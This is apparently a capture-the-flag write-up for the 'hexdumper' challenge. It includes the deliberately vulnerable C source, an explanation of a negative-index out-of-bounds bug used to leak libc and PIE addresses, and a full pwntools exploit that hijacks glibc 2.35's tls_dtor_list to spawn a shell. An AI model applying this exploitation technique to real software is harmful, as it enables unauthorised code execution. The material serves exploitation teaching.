Break The Syntax 2025- hexdumper
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
#define MAX_DUMPS 0x41
#define MAX_DUMP_SIZE 0x4141
// Georgia 16 by Richard Sabey 8.2003
char logo[] = \
"____ ____ ________ \n"
"`MM' `MM' `MMMMMMMb. \n"
" MM MM MM `Mb \n"
" MM MM ____ ____ ___ MM MM ___ ___ ___ __ __ __ ____ ____ ___ __ \n"
" MM MM 6MMMMb `MM( )P' MM MM `MM MM `MM 6MMb 6MMb `M6MMMMb 6MMMMb `MM 6MM \n"
" MMMMMMMMMM 6M' `Mb `MM` ,P MM MM MM MM MM69 `MM69 `Mb MM' `Mb 6M' `Mb MM69 \n"
" MM MM MM MM `MM,P MM MM MM MM MM' MM' MM MM MM MM MM MM' \n"
" MM MM MMMMMMMM `MM. MM MM MM MM MM MM MM MM MM MMMMMMMM MM \n"
" MM MM MM d`MM. MM MM MM MM MM MM MM MM MM MM MM \n"
" MM MM YM d9 d' `MM. MM .M9 YM. MM MM MM MM MM. ,M9 YM d9 MM \n"
"_MM_ _MM_ YMMMM9 _d_ _)MM_ _MMMMMMM9' YMMM9MM__MM_ _MM_ _MM_MMYMMM9 YMMMM9 _MM_ \n"
" MM \n"
" MM \n"
" _MM_ \n";
size_t no_dumps = 0;
void *dumps[MAX_DUMPS];
size_t dump_sizes[MAX_DUMPS];
void make_me_a_ctf_challenge(void) {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
void menu(void) {
puts("=========== DUMP MENU ===========");
puts("1) Create a new dump");
puts("2) Hexdump a dump");
puts("3) Bite a byte");
puts("4) Merge two dumps");
puts("5) Resize dump");
puts("6) Remove dump");
puts("7) Dump all dumps");
puts("8) Dump the dump menu");
puts("0) Coredump");
}
void create_dump(void) {
if (no_dumps >= MAX_DUMPS) {
puts("\tExceeded maximum dump limit!");
return;
}
size_t dump_size = 0;
printf("\tDump size: ");
scanf("%lu", &dump_size);
if (dump_size > MAX_DUMP_SIZE) {
printf("\tYour dump is too big! %lu > %lu\n",
dump_size,
(size_t)MAX_DUMP_SIZE);
return;
}
void *dump = malloc(dump_size);
if (dump == NULL) {
puts("Something went very wrong, contact admins");
exit(-1);
}
memset(dump, 0, dump_size);
size_t free_dump_idx = 0;
while (dumps[free_dump_idx] != NULL) ++free_dump_idx;
dumps[free_dump_idx] = dump;
dump_sizes[free_dump_idx] = dump_size;
++no_dumps;
printf("\tSuccessfully created a dump at index %lu\n", free_dump_idx);
}
int ask_for_index(void) {
int idx = -1;
printf("\tDump index: ");
scanf("%d", &idx);
if (idx >= MAX_DUMPS) {
puts("\tIndex is too big");
return -1;
}
return idx;
}
void hexdump_dump(void) {
int idx = ask_for_index();
if (idx == -1)
return;
char *dump = dumps[idx];
if (dump == NULL) {
printf("\tDump with index %d doesn't exist\n", idx);
return;
}
size_t len = dump_sizes[idx];
puts("");
puts(" 0 1 2 3 4 5 6 7 8 9 a b c d e f");
puts(" +--------------------------------------------------");
for (size_t i = 0; i < len; ++i) {
if (i % 16 == 0) {
// Avoid newline for first line
if (i != 0)
putchar('\n');
printf("%04lx | ", i);
}
printf(" %02hhX", dump[i]);
}
putchar('\n');
}
void change_byte(void) {
int idx = ask_for_index();
if (idx == -1)
return;
unsigned char *dump = dumps[idx];
if (dump == NULL) {
printf("\tDump with index %d doesn't exist\n", idx);
return;
}
size_t len = dump_sizes[idx];
printf("\tOffset: ");
size_t offset = 0;
scanf("%lu", &offset);
if (offset >= len) {
printf("\tOffset is bigger than dump size. %lu >= %lu\n", offset, len);
return;
}
printf("\tValue in decimal: ");
unsigned char byte = 0;
scanf("%hhu", &byte);
dump[offset] = byte;
printf("\tByte at offset %lu changed successfully\n", offset);
}
void merge_dumps(void) {
int idx1 = ask_for_index();
if (idx1 == -1)
return;
if (dumps[idx1] == NULL) {
printf("\tDump with index %d doesn't exist\t", idx1);
return;
}
int idx2 = ask_for_index();
if (idx2 == -1)
return;
if (dumps[idx2] == NULL) {
printf("\tDump with index %d doesn't exist\n", idx2);
return;
}
if (idx1 == idx2) {
puts("\tCan't merge a dump with itself");
return;
}
size_t len1 = dump_sizes[idx1];
size_t len2 = dump_sizes[idx2];
size_t new_len = len1 + len2;
if (new_len > MAX_DUMP_SIZE) {
printf("\tMerged size is too big! %lu > %lu\n",
new_len,
(size_t)MAX_DUMP_SIZE);
return;
}
dumps[idx1] = realloc(dumps[idx1], len1+len2);
dump_sizes[idx1] = new_len;
// Code from: https://en.wikipedia.org/wiki/Duff%27s_device
register unsigned char *to = dumps[idx1]+len1, *from = dumps[idx2];
register int count = len2;
{
register int n = (count + 7) / 8;
switch (count % 8) {
case 0: do { *to++ = *from++;
case 7: *to++ = *from++;
case 6: *to++ = *from++;
case 5: *to++ = *from++;
case 4: *to++ = *from++;
case 3: *to++ = *from++;
case 2: *to++ = *from++;
case 1: *to++ = *from++;
} while (--n > 0);
}
}
free(dumps[idx2]);
dumps[idx2] = NULL;
dump_sizes[idx2] = 0;
--no_dumps;
puts("\tMerge successful");
}
void resize_dump(void) {
int idx = ask_for_index();
if (idx == -1)
return;
if (dumps[idx] == NULL) {
printf("\tDump with index %d doesn't exist\n", idx);
return;
}
printf("\tNew size: ");
size_t new_size = 0;
scanf("%lu", &new_size);
if (new_size > MAX_DUMP_SIZE) {
printf("\tNew size is too big! %lu > %lu\n",
new_size,
(size_t)MAX_DUMP_SIZE);
return;
}
size_t old_size = dump_sizes[idx];
if (old_size < new_size) {
dumps[idx] = realloc(dumps[idx], new_size);
// Zero out the new memory
size_t no_new_bytes = new_size - old_size;
memset(dumps[idx]+old_size, 0, no_new_bytes);
}
dump_sizes[idx] = new_size;
puts("\tResize successful");
}
void remove_dump(void) {
int idx = ask_for_index();
if (idx == -1)
return;
if (dumps[idx] == NULL) {
printf("\tNo dump at index %d\n", idx);
return;
}
free(dumps[idx]);
dumps[idx] = NULL;
dump_sizes[idx] = 0;
--no_dumps;
printf("\tDump at index %d removed successfully\n", idx);
}
void list_dumps(void) {
for (int i = 0; i < MAX_DUMPS; ++i) {
void *dump = dumps[i];
size_t len = dump_sizes[i];
if (dump == NULL)
continue;
printf("%02d: size=%lu\n", i, len);
}
}
int main() {
make_me_a_ctf_challenge();
printf("%s", logo);
menu();
for (;;) {
putchar('\n');
// Remember to always check the return value of stdio.h functions kids!
// Stay safe!
if (printf("==> ") < 0) {
printf("error while printing !!\n");
exit(-1);
}
int option = 0;
scanf("%d", &option);
switch (option) {
case 1:
create_dump();
break;
case 2:
hexdump_dump();
break;
case 3:
change_byte();
break;
case 4:
merge_dumps();
break;
case 5:
resize_dump();
break;
case 6:
remove_dump();
break;
case 7:
list_dumps();
break;
case 8:
default:
menu();
break;
case 0:
exit(0);
}
}
}
This challenge provides a memory dump management service with a menu interface. You can create up to 0x41 (65) dumps, each with a maximum size of 0x4141 (16705) bytes, stored in the dumps array.
The available features include:
- Creating zero-initialized dumps
- Viewing dumps in a hex format (similar to hexdump)
- Modifying individual bytes
- Merging two dumps using Duff’s device (a loop-unrolling technique)
- Resizing dumps (with newly allocated memory zeroed)
- Removing dumps
- Listing all existing dumps
Protections:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
The first bug we can spot is in this condition (which can be found in four different functions):
// functions: hexdump_dump, change_byte, resize_dump, remove_dump.
int idx = ask_for_index();
if (idx == -1)
return;
...
This check only filters out the index -1
, but what about other negative values like -80
?
so lets see how can we use it to leak some memory addresses.
Now lets demonstrate this bug on the change_byte()
function:
void change_byte(void) {
int idx = ask_for_index();
if (idx == -1)
return;
unsigned char *dump = dumps[idx];
if (dump == NULL) {
printf("\tDump with index %d doesn't exist\n", idx);
return;
}
size_t len = dump_sizes[idx];
printf("\tOffset: ");
size_t offset = 0;
scanf("%lu", &offset);
if (offset >= len) {
printf("\tOffset is bigger than dump size. %lu >= %lu\n", offset, len);
return;
}
printf("\tValue in decimal: ");
unsigned char byte = 0;
scanf("%hhu", &byte);
dump[offset] = byte;
printf("\tByte at offset %lu changed successfully\n", offset);
}
This function asks for a dump index and verifies that the corresponding dump exists. Then it asks for a byte offset and ensures it’s within the size limit. If it’s not, it prints both the offset and the dump size.
The trick here is to pass a negative index like -80
, which accesses memory outside the bounds of the dumps array.
Then, we pass an extremely large offset to trigger the print statement that leaks memory by printing the “maximum size” of the fake index:
=========== DUMP MENU ===========
1) Create a new dump
2) Hexdump a dump
3) Bite a byte
4) Merge two dumps
5) Resize dump
6) Remove dump
7) Dump all dumps
8) Dump the dump menu
0) Coredump
==> 3
Dump index: -80
Offset: 9999999999999999999999999
Offset is bigger than dump size. 18446744073709551615 >= 140737353750400
==>
Here, 140737353750400
is a leaked address.
Checking from which memory space is it reveals that it’s within libc:
So we can see that this libc address pointing to the _IO_2_1_stdout_
struct.
Let’s write that in our pwntools exploit:
def leak_libc(p: process):
send_option(p, "3")
p.sendline("-80")
p.sendline(str(0xffff_ffff_ffff_ffff))
p.recvuntil(">= ")
libc = int(p.recvline()[:-1]) - 0x21b780 # offset of _IO_2_1_stdout_
print("libc: ", hex(libc))
return libc
Our next goal after leaking an address is to achieve arbitrary operation read / write
.
To do so, in our case we need to get PIE base address
and find a negative index that lets us overwrite the dump buffer’s pointer, and that would allow us to read from or write to any address.
I found that the dump buffer for index -259
contains its own address on the .BSS section
(loop pointer), so we can both use it to leak PIE
and overwrite it with any other address we want.
Here’s the function that leaks that index:
def leak_bss(p: process):
send_option(p, "3")
p.sendline("-259") #offset of
p.sendline(str(0xffff_ffff_ffff_ffff))
p.recvuntil(">= ")
bss = int(p.recvline()[:-1])
print("bss: ", hex(bss))
return bss
Now we have two leaks: one for libc
and one for the PIE
(which can be calculated from the .BSS section
leak), and we also have arbitrary read & write
wich can be used both on libc and PIE addresses.
So firstly let’s implement the arbitrary write function:
def arbitrary_write(p: process, addr: int, data: int):
idx = -191
for b in range(8):
change_byte(p, idx, b, (addr >> (b * 8)) & 0xff)
idx -= 1
for b in range(8):
change_byte(p, idx, b, (data >> (b * 8)) & 0xff)
This function first edits the address pointed to by our .BSS leak
, then writes data to that address.
We can also use the same primitive for arbitrary read
.
We’ll use the hexdump_dump
feature to read and print memory at any given address:
def arbitrary_read(p: process, addr: int):
idx = -191
for b in range(8):
change_byte(p, idx, b, (addr >> (b * 8)) & 0xff)
p.sendline("2")
p.sendline("-192")
p.recvuntil("0000 | ")
line = b''.join(reversed(p.recvline()[:-1].split(b' ')))
res = int(line, 16)
return res
Exploit
Now that we have that leaks & arbitrary read & write functions, we can start build our exploit!
The Glibc version is 2.35
, so we can’t overwrite __malloc_hook
/ __realloc_hook
/ __free_hook
because they’ve been removed or protected on that newer Glibces.
Instead, we can use a another trick: overwrite the tls_dtor_list
, which stores function pointers that get called when the program exits.
so it goes like this:
- Leak the
pointer_guard
(relative to libc). - XOR it with the address of the function we want to run (e.g.
system()
). - Rotate the result (ROL encryption) as required by the
tls_call_dtors
function. - Write the parameter for the function (e.g. the address of
/bin/sh\0
symbol). - Overwrite the first entry in the
tls_dtor_list
. - Trigger an exit.
- Payload is runing…
Here’s the pwntools code for that:
p_guard = arbitrary_read(p, libc - FS_BASE)
print("p_guard: ", hex(p_guard))
func = libc + SYSTEM
func ^= p_guard
func = rol(func, 0x11, word_size=64)
# Build the tls_dotr struct in known address
arbitrary_write(p, bss + 0x20, func)
arbitrary_write(p, bss + 0x28, libc + BINSH)
The complete exploit:
from pwn import *
# libc offsets (for glibc 2.35)
__MALLOC_HOOK = 0x2214a0
ONE_GADGET = 0xebd43
__EXIT_FUNCS = 0x21a838
ENVIRON = 0x0000000000222200
MAIN_RET_ADDR = 0x20958
FS_BASE = 0x2890
__GI___call_tls_dtors = 0x2918
SYSTEM = 0x0000000000050d70
BINSH = 0x1d8678
def send_option(p: process, option: str):
p.sendlineafter("==> ", option)
# edit a single byte at a specific index and offset
def change_byte(p: process, idx: int, offset: int, new_byte: int):
p.sendline("3")
p.sendline(str(idx))
p.sendline(str(offset))
p.sendline(str(new_byte))
print("change_byte: ", idx, offset, hex(new_byte))
# leak libc address using _IO_2_1_stdout_
def leak_libc(p: process):
send_option(p, "3")
p.sendline("-80")
p.sendline(str(0xffff_ffff_ffff_ffff))
p.recvuntil(">= ")
libc = int(p.recvline()[:-1]) - 0x21b780
print("libc: ", hex(libc))
return libc
# leak BSS pointer (loop pointer)
def leak_bss(p: process):
send_option(p, "3")
p.sendline("-259")
p.sendline(str(0xffff_ffff_ffff_ffff))
p.recvuntil(">= ")
bss = int(p.recvline()[:-1])
print("bss: ", hex(bss))
return bss
# perform arbitrary write using double chunk trick
def arbitrary_write(p: process, addr: int, data: int):
idx = -191
for b in range(8):
change_byte(p, idx, b, (addr >> (b * 8)) & 0xff)
idx -= 1
for b in range(8):
change_byte(p, idx, b, (data >> (b * 8)) & 0xff)
# arbitrary read by setting pointer and dumping
def arbitrary_read(p: process, addr: int):
idx = -191
for b in range(8):
change_byte(p, idx, b, (addr >> (b * 8)) & 0xff)
p.sendline("2")
p.sendline("-192")
p.recvuntil("0000 | ")
line = b''.join(reversed(p.recvline()[:-1].split(b' ')))
res = int(line, 16)
return res
# leak stack using environ
def leak_stack(p: process, libc: int):
stack = arbitrary_read(p, libc + ENVIRON) - 0x20a78
print("stack: ", hex(stack))
return stack
def generate_dtor_struct(p: process, param: int, addr: int):
return p64(addr) + p64(param)
def main():
p = process("/tmp/h")
libc = leak_libc(p)
bss = leak_bss(p)
# setup for arb read/write
idx = -191
change_byte(p, idx, 0, (bss & 0xff) - 8)
arbitrary_write(p, bss + (0x44 * 8) - 8, 8)
stack = leak_stack(p, libc)
p_guard = arbitrary_read(p, libc - FS_BASE)
print("p_guard: ", hex(p_guard))
# craft encrypted function pointer
func = libc + SYSTEM
func ^= p_guard
func = rol(func, 0x11, word_size=64)
# write TLS dtors payload
arbitrary_write(p, bss + 0x20, func)
arbitrary_write(p, bss + 0x28, libc + BINSH)
for i in range(1,3):
arbitrary_write(p, bss + 0x28 + (i * 8), 0)
# overwrite TLS destructor list
arbitrary_write(p, libc - __GI___call_tls_dtors, bss + 0x20)
# trigger exit
p.sendline("0")
p.interactive()
if __name__ == "__main__":
main()